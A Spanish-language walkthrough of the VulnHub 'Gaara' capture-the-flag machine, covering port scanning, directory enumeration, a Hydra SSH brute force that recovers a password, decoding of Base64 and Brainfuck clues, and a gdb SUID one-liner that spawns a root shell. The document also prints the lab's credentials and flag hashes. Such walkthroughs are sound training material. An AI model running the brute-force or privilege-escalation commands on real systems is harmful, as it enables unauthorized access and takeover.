Write Up Gaara VulnHub

Escaneo de puertos

nmap -p- --min-rate 5000 -sS <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 13:52 EDT
Nmap scan report for 192.168.5.147
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:a3:6f:64:03:33:1e:76:f8:e4:98:fe:be:e9:8e:58 (RSA)
|   256 6c:0e:b5:00:e7:42:44:48:65:ef:fe:d7:7c:e6:64:d5 (ECDSA)
|_  256 b7:51:f2:f9:85:57:66:a8:65:54:2e:05:f9:40:d2:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:05:84:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.5.147

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.94 seconds

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.147/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 288]
/server-status        (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Nada interesante...

Puerto 80

Pero si observamos la imagen de la pagina web, vemos un nombre que puede ser un nombre de usuario en este caso gaara, por lo que haremos lo siguiente...

hydra

hydra -l gaara -P <WORDLIST> ssh://192.168.5.147 -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-27 14:04:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.5.147:22/
[22][ssh] host: 192.168.5.147   login: gaara   password: iloveyou2
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-27 14:04:18

Vemos que nos saca un usuario...

Username = gaara
Password = iloveyou2

Nos conectamos por ssh...

ssh gaara@<IP>

Una vez dentro del servidor, leeremos la flag...

flag.txt (flag1)

5451d3eb27acb16c652277d30945ab1e

Si leemos el siguiente archivo llamado Kazekage.txt veremos lo siguiente...

You can find Kazekage here....

L3Vzci9sb2NhbC9nYW1lcw==

Si decodificamos ese Base64...

/usr/local/games

Si nos vamos a esa ubicacion y hacemos un ls -la veremos un archivo llamado .supersecret.txt y si lo leemos...

Godaime Kazekage:

+++++ +++[- >++++ ++++< ]>+++ +.<++ ++++[ ->+++ +++<] >+.-- ---.< +++++
+++[- >---- ----< ]>--- -.<++ +++++ ++[-> +++++ ++++< ]>+++ +++++ .<+++
[->-- -<]>- .++++ ++.<+ +++++ +++[- >---- ----- <]>-- --.<+ +++++ +++[-
>++++ +++++ <]>+. <+++[ ->--- <]>-- --.-- --.<+ ++[-> +++<] >++.. <+++[
->+++ <]>++ ++.<+ +++++ +++[- >---- ----- <]>-- ----- -.<++ +++++ ++[->
+++++ ++++< ]>+++ .<+++ [->-- -<]>- --.+. +++++ .---. <++++ ++++[ ->---
----- <]>-- ----- ----. <++++ +++++ [->++ +++++ ++<]> +++++ +++.< +++[-
>---< ]>-.+ +++++ .<+++ +++++ +[->- ----- ---<] >---- .<+++ +++++ [->++
+++++ +<]>+ ++.<+ ++[-> +++<] >+++. +++++ +.--- ----- -.--- ----- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++
+++.< +++[- >---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ ++[->
+++++ ++++< ]>++. ----. --.-- ----- -.<++ +[->+ ++<]> +++++ +.<++ +[->-
--<]> ---.+ .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- ----- .<+++
+++++ +[->+ +++++ +++<] >+++. <+++[ ->--- <]>-- -.--- ----. <++++ [->++
++<]> +++.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ ++[-> +++++ +++<]
>++++ +.--- -.<++ ++[-> ++++< ]>++. <+++[ ->--- <]>-. +++.< +++[- >+++<
]>+++ +.<++ +++++ [->-- ----- <]>-- ----- --.<+ ++++[ ->--- --<]> -----
-.<++ +++++ [->++ +++++ <]>++ +.<++ +++[- >++++ +<]>+ ++++. +++++ ++.<+
+++++ +++[- >---- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >++++ .<+++
++[-> +++++ <]>.< ++++[ ->+++ +<]>+ .<+++ [->-- -<]>- ----. +.<++ +[->+
++<]> ++++. <++++ +++++ [->-- ----- --<]> .<

Por lo que se ve esta codificado en Brainfuck y si lo decodificamos veremos lo siguiente...

Did you really think you could find something that easily? Try Harder!

Pero vemos que no es nada...

Si hacemos lo siguiente para ver que podemos hacer con SUID...

find / -type f -perm -4000 -ls 2>/dev/null

Info:

    12750     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   135600     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
    16097    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
    22040   7824 -rwsr-sr-x   1 root     root        8008480 Oct 14  2019 /usr/bin/gdb
    19754    156 -rwsr-xr-x   1 root     root         157192 Feb  2  2020 /usr/bin/sudo
    21629   7396 -rwsr-sr-x   1 root     root        7570720 Dec 24  2018 /usr/bin/gimp-2.10
       53     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
       52     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
       55     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
     3436     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
     3583     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
       56     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
     3908     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
     3910     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount

Por lo que vemos podemos ejecutar el gdb como root, por lo que haremos lo siguiente...

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Si ejecutamos eso seremos root, ahora leemos la flag...

root.txt (flag2)

 ██████╗  █████╗  █████╗ ██████╗  █████╗ 
██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██║  ███╗███████║███████║██████╔╝███████║
██║   ██║██╔══██║██╔══██║██╔══██╗██╔══██║
╚██████╔╝██║  ██║██║  ██║██║  ██║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝

8a763d61f71db8e7aa237055de928d86

Congrats You have Rooted Gaara.

Give the feedback on Twitter if you Root this : @0xJin
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